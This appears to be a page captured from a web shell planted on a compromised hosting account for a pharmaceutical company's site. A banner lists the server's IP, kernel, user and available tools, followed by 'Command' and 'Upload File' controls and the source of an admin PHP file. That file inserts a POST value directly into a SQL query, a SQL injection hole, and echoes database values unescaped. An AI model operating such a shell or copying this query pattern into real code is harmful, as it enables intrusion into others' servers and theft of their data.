Server IP : 2a02:4780:11:1361:0:bf7:7935:10 / Your IP : 18.218.249.231 Web Server : LiteSpeed System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u200767797 ( 200767797) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u200767797/domains/drusonpharma.com/public_html/admin/dist/css/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("connection.php"); if (isset($_POST['c_id'])) { $c_id = $_POST['c_id']; $sql = "select * from `categories` where `divisions`='$c_id' GROUP BY `category` order by id desc"; $res = mysqli_query($con, $sql); if (mysqli_num_rows($res) > 0) { ?> <option value=''>Select Category</option> <?php while ($row = mysqli_fetch_array($res)) { $country_id = $row['category']; ?> <option value="<?php echo $country_id ?>"><?php echo $country_id ?></option> <?php } } } else { header('location: products.php'); }